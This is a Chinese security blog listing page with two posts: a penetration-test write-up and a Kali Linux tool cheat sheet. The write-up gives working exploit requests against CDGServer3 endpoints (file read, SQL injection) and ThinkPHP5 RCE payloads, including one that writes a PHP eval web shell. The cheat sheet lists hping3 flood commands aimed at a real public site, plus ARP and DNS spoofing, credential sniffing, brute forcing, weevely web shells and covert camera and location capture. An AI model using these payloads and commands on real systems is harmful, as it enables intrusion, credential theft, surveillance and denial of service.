首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
20
篇与
的结果
2023-11-21
【技术分享】记一次内外网牛马渗透测试
Web渗透(外网)垂直越权可以发现前端登录存在两种模式,管理员与用户还有注册用户,这个时候我们可以先注册用户进去看看是什么样子的。这是我注册的普通用户,里面没有管理员权限的功能。这里我随便输入了一个错误的管理员账号密码,我的思路是先抓取我注册的用户,登录成功的响应包再进行替换错误的管理员返回的响应包,直接放行就能登录进去。这个是我注册的用户登录成功的响应包,这里进行复制保留,然后再登录错误的管理员账户,将我登录成功的响应数据替换到管理员响应包里即可。这样就进来了,在后台查询用户接口中其实还存在sql注入。SQL注入可以发现重发修改 sort=' 的时候直接爆出sql语句错误,说明这个参数存在sql注入。直接上sqlmap一把梭。未授权访问前端接口暴露,存在未经授权,可获取到大量个人敏感信息,包括个人姓名、手机号地址等等。访问将设置登录状态,http://xxx.xxx.xxx/permission/loginByOutside 再访问主页就登录成功了。亿赛通系统打一波ndayViewUploadFile任意文件读取GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:/Windows/System32/drivers/etc/hosts&uploadFileId=1&fileName1=hosts HTTP/1.1 Host: xxx.xxx.xxx Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=5BEE0014C9CD691F3177A3194EB06C3F Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflatecreate SmartSec信息泄露https://xxx.xxx.xxx/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sqlUploadFileToCatalog SQL注入POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded id=1FileFormatAjax SQL注入POST /CDGServer3/PerOrgServlet/../FileFormatAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded command=delFileFormat&fileFormatId=12SaveCDGPermissionFromGFOA SQL注入POST /CDGServer3/js/../SaveCDGPermissionFromGFOA HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded fileId=1PolicyAjax 前台SQL注入POST /CDGServer3/dojojs/../PolicyAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded command=selectOption&id=1HookInvalidCourse SQL注入POST /CDGServer3/system/HookInvalidCourse;loginService HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded command=DelHookInvalidCourse&id=1Web渗透(内网)资产收集开始工作,我用Goby对内网进行资产探测,网段比较大,例子也比较形象,就单个作为文章的记录了。弱口令逮到几个弱口令,内网中弱口令最多了,记得上次有10多个弱口令。。。Thinkphp5 RCE命令执行看图片识框架,这不是Thinkphp吗,果断用工具跑一遍payload。果不其然存在RCE命令执行,直接上payload看看。/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoam运气还不错,歪打正着,看看是个什么权限,是 system 耶,emm... 很棒!文件包含?s=index/\think\Lang/load&file=C:\windows\write.exe写入小马?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST['cmd']); > 1.php哈哈哈,直接写个shell用蚁剑连接上,好了点到为止。懒得哔哔 : )目录泄露没啥好说的,没啥用。。。
2023年11月21日
549 阅读
0 评论
12 点赞
2023-01-21
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月21日
218 阅读
0 评论
13 点赞
2023-01-19
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月19日
29 阅读
0 评论
3 点赞
2022-11-02
此内容被密码保护
加密文章,请前往内页查看详情
2022年11月02日
186 阅读
0 评论
11 点赞
2022-09-20
【工具分享】Kali Linux 黑客工具
留言这些工具我用的比较多,学习到的工具,我都会慢慢更新在这里,有些工具需要安装,说的不是太详细可以自行百度文章视频学习。niktoNikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出,2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的http模式等。nikto -host http://www.example.comsteghideSteghide是一款隐写术工具,用于在音频、图像、视频等文件中隐藏机密信息,并且可以加密隐藏的信息。它可以在文件中嵌入任意格式的数据,比如文本文件、图像、音频等等。tcpdumptcpdump是一个强大的网络数据包分析工具,它能够抓取网络上的数据包并将其分析。它可以用来诊断网络问题,分析网络安全问题,监测网络流量等,tcpdump可以运行在各种操作系统上,如Linux、Unix和Windows。unshadowunshadow 是一个 Unix 系统工具,用于将 /etc/passwd 和 /etc/shadow 文件合并为一个 John the Ripper 可读的文件,以便对系统的密码进行密码破解,该命令需要 root 权限,因为需要读取系统上的 shadow 文件,而该文件只有 root 用户才有权限读取。unshadow /etc/passwd /etc/shadow > passwords.txt这条命令会将 /etc/passwd 和 /etc/shadow 文件合并为一个文本文件(passwords.txt),可以使用 John the Ripper 工具对其进行密码破解。rar2johnrar2john是John the Ripper的一个工具,用于将RAR文件的加密密码结构转换为适用于John the Ripper的格式,通过这样做,您可以使用John the Ripper破解加密的RAR文件,以获取存储在其中的数据。rar2john file > 1.txt // 导出hash john 1.txt // 开始爆破hashabab 是web上的压力测试工具,可以实现cc攻击。-n:在测试会话中所执行的请求个数。默认时,仅执行一个请求。-c:一次产生的请求个数。默认是一次一个。ab -c 10000 -n 1000 http://www.baidu.com/hping3hping命令是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP、UDP、ICMP、RAW-IP协议,以及一个路由模型HPING一直被用作安全工具,可以用来测试网络及主机的安全。// syn flood 伪造随机源地址,时间间隔1000us hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000 // tcp flood hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133 // udp flood hping3 --udp 192.168.180.133 -p 80 --rand-source --flood // icmp flood hping3 --icmp 192.168.180.133 --rand-source --flood // dns flood hping3 --udp 192.168.180.133 -p 53 --rand-source --flood // 数据包跟踪 hping3 --traceroute -V -1 www.qq.com // 多端口扫描 hping3 -I eth1 -8 1-1024 192.168.180.133macofmacof可以造成交换机mac泛洪,受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。-i interface 指定要发送的接口 -s src 指定源IP地址 -d dst 指定目标IP地址 -e tha 指定目标硬件地址 -x sport 指定TCP源端口 -y dport 指定TCP目标端口 -n times 指定要发送的数据包数macof // 开始攻击fpingfping是一个小型命令行工具,用于向网络主机发送ICMP ( Internet控制消息协议 )回应请求,类似于ping,但在ping多个主机时性能要高得多。 fping完全不同于ping,因为您可以在命令行上定义任意数量的主机,或者指定包含要ping的IP地址或主机列表的文件。-a 显示可ping通的目标 -A 将目标以ip地址的形式显示 -b <num> ping 数据包的大小。(默认为56) -B <f> 设置指数反馈因子到f -c <num> ping每个目标的次数 (默认为1) -C <num> 同-c,返回的结果为冗长格式 -e 显示返回数据包所费时间 -f <file> 从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用) -g 通过指定开始和结束地址来生成目标列表(例如:fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:fping –g 192.168.1.0/24) -i <num> 设置ip的TTL值 (生存时间) -l 循环发送ping -m ping目标主机的多个网口 -n 将目标以主机名或域名显示(等价于 -d ) -p <num> 对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000) -q 安静模式(不显示每个目标或每个ping的结果) -Q <num> 同-q, 但是每n秒显示信息概要 -r <num 当ping失败时,最大重试次数(默认为3次) -s 打印最后的统计数据 -t <num> 单个目标的超时时间(毫秒)(默认500) -u 显示不可到达的目标 -v 显示版本号fping -v // 显示版本 fping -g 192.168.60.1/24 // 范围扫描 fping -g -a 192.168.60.1/24 // 显示可以ping通的主机并写到文本arp-scanarp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。什么是ARP协议地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。-f 从指定文件中读取主机名或地址 -l 从网络接口配置生成地址 -i 各扫描之间的时间差 -r 每个主机扫描次数 -V 显示程序版本并退出 -t 设置主机超时时间 -L 使用网络接口 -g 不显示重复的数据 -D 显示数据包往返时间arp-scan -l // 范围扫描 arp-scan -f ip.txt // ip范围扫描 arp-scan -l -i 1000 // 扫描之间的时间差 arp-scan -l -r 5 // 每个主机扫描次数 arp-scan -l -V // 显示程序版本并退出 arp-scan -t 1000 192.168.75.0/24 // 设置主机超时时间 arp-scan -L eth0 // 使用网络接口 arp-scan -l -g // 不显示重复的数据 arp-scan -l -D // 显示数据包往返时间 Weevely生成和管理很难检测到的PHP木马,这是一个Web应用程序后开发的重要工。可用于像一个隐藏的后门,作为一个有用的远程控制台更换管理网络帐户,即使托管在免费托管服务,类似于中国菜刀、蚂一剑等工具。weevely generate 208522 webshell.php // 生成webshell weevely http://192.168.80.131/webshell.php 208522 // 连接webshell :shell_su #通过更变使用者来执行shell命令,可以获得root权限来执行命令. :shell_sh #执行 shell 命令. :shell_php #执行 PHP 命令. :system_extensions #收集PHP和webserver扩展列表 :system_info #收集系统信息 :system_procs #列出正在运行的进程 :audit_disablefunctionbypass #使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell :audit_etcpasswd #查看/etc/passwd文件 :audit_suidsgid #查找带有SUID或SGID标志的文件。 :audit_phpconf #查看php配置信息 :audit_filesystem #审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等 :backdoor_reversetcp #执行反向TCP shell. 需要nc -lvp <port>监听 :backdoor_tcp # 在TCP端口上生成shell :net_scan #TCP端口扫描. :net_mail #发送邮件. :net_ifconfig #获取网络接口地址. :net_curl #执行类似curl的HTTP请求. :net_proxy #运行本地代理以通过目标转移HTTP / HTTPS浏览 :net_phpproxy #在目标上安装PHP代理. :bruteforce_sql #可用来猜解数据库密码. :file_find #查找具有给定名称和属性的文件. :file_download #从远程文件系统下载文件. :file_check #获取文件的属性和权限. :file_touch #更改文件时间戳. :file_cd #更改当前工作目录. :file_grep #打印与多个文件中的模式匹配的行. :file_gzip #压缩或解压gzip文件. :file_tar #压缩或解压tar文件. :file_enum #检查路径列表的存在和权限 :file_bzip2 #压缩或解压bzip2文件. :file_mount #使用HTTPfs挂载远程文件系统. :file_clearlog #从文件中删除字符串. :file_zip #压缩或解压zip文件. :file_cp #复制单个文件. :file_upload2web #自动将文件上传到Web文件夹并获取相应的URL. :file_edit #在本地编辑器上编辑远程文件. :file_read #从远程文件系统中读取远程文件. :file_webdownload #指定URL下载文件. :file_upload #文件上载到远程文件系统. :file_ls #列出目录内容. :file_rm #删除远程文件. :sql_dump #Multi dbms mysqldump replacement. :sql_console #执行SQL查询或运行sql控制台.netcatNetCat号称网络工具中的瑞士军刀,可以用它来做很多有用事情,比如侦听端口、端口扫描、传输文件、网络测速等等。1.侦听模式/传输模式2.Telnet/获取banner信息3.传输文本信息4.传输文件/目录5.加密传输文件6.远程控制/木马7.加密所有流量8.流媒体服务器9.远程克隆硬盘nc -lp 444 // 监听模式 nc -nv 192.168.60.121 444 // 连接ip进行通信 nc -nv 192.168.60.121 | ls -l // 远程执行命令 -v 详细输出-l 监听模式,用于入站连接-n 指定数字的IP地址,不能用hostname-p port 本地端口号-q 在stdin的EOF之后退出并延迟秒-z 将输入输出关掉--用于扫描时wirsharkWireshark是网络数据包分析软件,可以探测指定网卡收到的数据包,并尽可能的分析这些数据包的协议、数据等资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,wirshark是图形化操作软件// 过滤规则 ip.src addr==192.168.0.208 or ip.src addr eq 192.168.0.208 // 显示来源IP ip.dst addr==192.168.0.208 or ip.dst addr eq 192.168.0.208 // 显示目标IP tcp.port eq 80 // 不管端口是来源的还是目标的都显示 tcp.port == 80 // 过滤80端口 tcp.port eq 2722 tcp.port eq 80 or udp.port eq 80 tcp.dstport == 80 // 只显tcp协议的目标端口80 tcp.srcport == 80 // 只显tcp协议的来源端口80 tcp.port >= 1 and tcp.port <= 80 // 过滤端口范围 // 工具能使用的协议有 TCP、udp、arp、icmp、http、smtp ftp、dns、msnms、ip、ssl、等等。 udp.length == 26 // 这个长度是指udp本身固定长度8加上udp下面那块数据包之和 tcp.len >= 7 // 指的是ip数据包(tcp下面那块数据),不包括tcp本身 ip.len == 94 // 除了以太网头固定长度14,其它都算是ip.len,即从ip本身到最后 frame.len == 119 // 整个数据包长度,从eth开始到最后nmapNmap,Linux下的网络扫描和嗅探工具包,一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。简单而言,这就是一个工具,用来检测目标主机是否开启,其操作系统是什么,有那些端口是开启的,是否可以扫描到目标主机存在漏洞等等,从而制定渗透的计划。Nmap的探测结果以列表的形式展现,同时分为四个状态:open、closed、filtered(被过滤的)、unfiltered。open:该端口开放;closed:该端口关闭的;filtered:发出的探测数据包不能到达目标主机的目标端口;unfiltered:该端口可以被访问,但具体不清楚是开放的还是关闭的。nmap 192.168.60.1 // 最基础的使用 nmap 192.168.60.1 -vv // 查看其详细信息 namp -p 1-60 192.168.60.1 // 扫描指定端口 nmap -sP 192.168.60.1 // ping扫描 nmap --traceroute 192.168.60.1 // nmap路由追踪 nmap --scan-delay 10s 192.168.60.1 // 每次延迟10秒后再发送数据包,防止大量的扫描记录引起对方的防护。 nmap -Pn 192.168.60.1 // 跳过主机扫描,在扫描防火墙时很有必要。 nmap -iL 1.txt // 扫描文本里面所有的IP nmap -sS -T4 192.168.60.1 // syn 扫描 nmap -sF -T4 192.168.60.1 // fin 扫描 nmap -sA -T4 192.168.60.1 // ack扫描 nmap --script=auth 192.168.60.1 // 弱口令扫描 nmap --script=vuln 192.168.60.1 // 扫描常见漏洞 nmap --script=ftp-brute.nse 192.168.60.1 //扫描弱口令账号,但是所用字典很小 nmap -p 80 --script=http-enum.nse 192.168.60.1 //扫描WEB敏感目录hydrahydra 是一款世界顶级密码暴力破解工具,支持几乎所有的协议的在线破解,功能强大,其密码能否被破解关键取决于破解字典的是否足够强大,在网络安全渗透过程中是一款必备的测试工具。目前该工具支持以下协议的爆破:AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP,使用xhydra可以打开图形界面。-R:继续从上一次进度接着破解 -S:大写,采用SSL链接 -s <PORT>:小写,可通过这个参数指定非默认端口 -l <LOGIN>:指定破解的用户,对特定用户破解 -L <FILE>:指定用户名字典 -p <PASS>:小写,指定密码破解,少用,一般是采用密码字典 -P <FILE>:大写,指定密码字典 -e <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探 -C <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数 -M <FILE>:指定目标列表文件一行一条 -t 指定多线程数,默认为16个线程 -o <FILE>:指定结果输出文件 -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t <TASKS>:同时运行的线程数,默认为16 -w <TIME>:设置最大超时的时间,单位秒,默认是30s -v / -V:显示详细过程 server:目标ip// 爆破SSH: hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 10 192.168.43.94 ssh // -L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息 -t 指定线程数 // 爆破FTP hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.43.94 ftp // -L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息 // 爆破telnet hydra 192.168.43.34 -L user.txt -P passwd.txt -t 10 telnet // 爆破3389 hydra 192.168.43.34 rdp -L user.txt -P passwd.txt -Vdirbdirb 是一个基于命令行的工具,可以根据单词列表对任何目录进行暴力破解。 它会发出一个 HTTP 请求,并查看每个请求的 HTTP 响应代码。-a 设置ua -c 设置cookie带cookie扫描 -N 忽略某些响应码 -o 输出结果 -p 使用代理 -X 在每个测试目录上附加后缀 -z 设置毫秒延迟dirb http://www.baidu.com // 正常扫描 dirb http://www.baidu.com 1.txt // 带用户字典 dirb http://www.baidu.com 1.txt -a "ua" -c "cookie" // 设置 ua 和 cookie dirb http://www.baidu.com 1.txt -p ip:port -o result.txt // 使用代理和输出结果 dirb http://www.baidu.com 1.txt -z 1000 // 设置毫秒延迟arpspoofarpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。工具使用非常简单arpspoof -i eth0 -t 192.168.60.119 192.168.60.1 // 第一个ip是要攻击的主机 第二个ip是要伪装的ip可以填网关 arpspoof -i 网卡 -t 目标IP 网关 // 反向欺骗 arpspoof -i 网卡 -t 网关 目标IPettercap开启流量转发就不会断网受害者的流量会经过攻击者的机器可以实现嗅探echo 1 > /proc/sys/net/ipv4/ip_forward // 开启流量转发 ettercap -G // UI窗口化 ettercap -Tqi eth0 // 进行账号密码嗅探 ettercap -Tqi eth0 -M arp:remote /// /10.11.112.1// // 嗅探网关网页账号密码 ettercap -Tqi eth0 -M ARP // arp毒化eth0所在的网段,安静模式文本显示 ettercap -Tzq /10.0.0.1/21,22,23 -w hack.pcap // 监听10.0.0.1的ftp,ssh,telnet信息,并保存到本地 ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ // 对192.168.1.120进行dns欺骗,使用默认网卡eth0文本模式安静显示 ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 // 使用过滤并监听10.0.0.2在80端口的所有通信,安静模式文本显示,保存数据到本地 ettercap -Tqi eth0 -M ARP /ip// -w scan.logevillimiterevillimiter这个工具可以直接限制别人的网速,这个项目在github上开源,感兴趣可以去看下是 Python3编写的程序。Github地址: https://github.com/bitbrute/evillimiter下载安装直接 git clone https://github.com/bitbrute/evillimiter.git下载到本地后解压,最好是用linux环境,运行需要Python3环境执行 sudo Python setup.py install 来安装 # 按情况来安装好,输入evillimiter进入就可以操作了。┌──(root㉿kali)-[/home/kali/evillimiter] └─# evillimiter // 进入 (Main) >>> scan // 扫描局域网主机 100% |██████████████████████████████| 256/256 OK 12 hosts discovered. (Main) >>> hosts // 列出扫描结果 ┌Hosts────────────────┬───────────────────┬──────────┬────────┐ │ ID │ IP address │ MAC address │ Hostname │ Status │ ├────┼────────────────┼───────────────────┼──────────┼────────┤ │ 0 │ 192.168.60.1 │ 64:6e:97:39:fa:1c │ │ Free │ │ 1 │ 192.168.60.100 │ 90:e8:68:d4:ea:d9 │ │ Free │ │ 2 │ 192.168.60.102 │ 14:5a:fc:3e:52:ed │ │ Free │ │ 3 │ 192.168.60.103 │ 30:f7:72:26:90:11 │ │ Free │ │ 4 │ 192.168.60.104 │ a8:93:4a:2b:dc:87 │ │ Free │ │ 5 │ 192.168.60.105 │ a8:93:4a:89:9d:0d │ │ Free │ │ 6 │ 192.168.60.106 │ e8:d0:fc:c9:ab:27 │ │ Free │ │ 7 │ 192.168.60.107 │ 94:08:53:2f:17:41 │ │ Free │ │ 8 │ 192.168.60.111 │ 00:0c:29:77:cc:fb │ │ Free │ │ 9 │ 192.168.60.117 │ 00:0c:29:32:31:71 │ │ Free │ │ 10 │ 192.168.60.119 │ 04:d9:f5:5f:d3:e3 │ │ Free │ │ 11 │ 192.168.60.250 │ 80:18:44:ed:fc:7c │ │ Free │ └────┴────────────────┴───────────────────┴──────────┴────────┘ (Main) >>> limit 11 1kbit // 进行限速 1kbit 网速 OK 192.168.60.119 upload / download limited to 1kbit. (Main) >>> free 7 // 解除限制 (Main) >>> quit // 退出 sqlmap如果你正在寻找一个开源渗透测试工具。sqlmap 是最好的之一。它可以自动化利用 SQL 注入漏洞的过程,并帮助你接管数据库服务器。sqlmap.py -u url // 判断是否存在注入 sqlmap.py -u url --dbs // 查询当前用户的所有数据库 sqlmap.py -u url -D 数据库 --tables // 获取数据库中的表名 sqlmap.py -u url -D 数据库 -T 表名 --columns // 获取表中的字段名 sqlmap.py -u url -D 数据库 -T 表名 -C 字段 --dump // 获取字段内容 sqlmap.py -u url --users // 获取数据库所有的用户 sqlmap.py -u url --passwords // 获取数据库用户的密码 sqlmap.py -u url --curerent-db // 获取当前网站数据库名 sqlmap.py -u url --current-user // 获取当前网站数据库的用户名称 sqlmap.py -u url --is-dba // 当前用户是否为管理权限StormBreaker无需任何权限即可获取设备信息网址定位位置 [智能手机]网络摄像头偷拍、网址录音感兴趣可以去Github上看看Github地址:https://github.com/ultrasecurity/Storm-Breaker# Linux 操作系统安装 git clone https://github.com/ultrasecurity/Storm-Breaker cd Storm-Breaker sudo bash install.sh sudo python3 -m pip install -r requirements.txt sudo python3 st.pymsfconsolemsfconsole是metasploit中的一个工具(kali自带工具)msfconsole集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具banner // 替换logo search port:443 // 漏洞搜索 use // 指定模块 info // 查看模块信息 back // 返回上一级 show options // 查看参数 show targets // 模块可攻击目标的类型 run、explpit、run -j // 这三个都是执行 check // 检测是否存在漏洞 connect // 连接端口 类似nc sessions // 可以查看运行的会话,一般在回去靶机权限时使用 sessions -i 会话号 // 可以进入运行的会话 getuid // 提权Yersiniayersinia是OSI第2层的攻击的框架,支持生成树协议(STP),VLAN中继协议(VTP),动态中继协议(DTP),IEEE 802.1Q,IEEE 802.1X,思科发现协议(CDP),动态主机配置协议(DHCP)等可以实现dhcp泛洪攻击、交换机欺骗、STP欺骗、ARP欺骗、DHCP欺骗(伪装成dhcp服务器)h 帮助屏幕 x 选择并执行攻击 i 选择网卡 ENTER 关于选择项目的信息 v 查看数据包的16进制 d 加载协议默认值 e 编辑数据表字段 f 列出捕获文件 s 从协议保存数据包 S 保存-来自所有协议的数据包 L 从网络学习数据包 N 设置Mac欺骗开/关 l 列出正在运行的攻击 K 杀死所有正在运行的攻击 c 清除当前协议statc C 清除所有协议状态 g 转到其他协议屏幕 ctrl-l 重绘屏幕 w 写入配置文件 a 关于这个工具 q 退出yersinia -G // 启动图形化界面 yersinia 协议 -interface 网卡-attack id // 命令行的方式hping3// DDOS攻击 (分布式拒绝服务攻击) // UDP ddos攻击: hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ICMP ddos攻击: hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // SYN ddos攻击: hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ACK ddos攻击: hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com // 端口扫描 hping3 -I eth0 -S 192.168.10.1 -p 80dnsspoofdnsspoof是一个dns欺骗工具 我们使用locate dnsspoof.hosts找到这个文件vi 编辑他如下 对应映射会跳转到别胡网站:10.10.10.3 .baidu.com10.10.10.3 .google.com.hkecho 1 >> /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 10.10.10.2 10.10.10.254 arpspoof -i eth0 -t 10.10.10.254 10.10.10.2 // 过滤规则 dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53dnsspoof的原理如下:由于DNS协议使用是传输层协议是UDP协议, 这样无需像TCP那样建立连接就可以轻松的伪造应答包,包括源IP. 10.10.10.2发送DNS 查询包问DNS服务器www.baidu.com的IP地址是多少? 10.10.10.1装作DNS服务器(伪造IP)向攻击目标发送一个DNS响应包说www.baidu.com的IP地址是10.10.10.3。ipdrone通过ip返回经纬度一些信息可实现定位,只能定位到市类似你在百度上搜,ip返回的运营商大概的位置,需要python环境里面没什么厉害的代码,就是调了个api接口实现的。Github: https://github.com/noob-hackers/ipdronepython ipdrone.py -v 127.0.0.1 // 示例 setoolkit功能有很多自己研究吧,一般常用克隆网站,骗取输入账号密码。Aircrack-ng暴力破解WIFI密码的工具,前提需要独立的无线网卡一块,没有其实也是有办法的。httrack爬取网页文件的工具,也就是爬虫工具,在终端输入httrack安装下就行。burpsuiteburp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 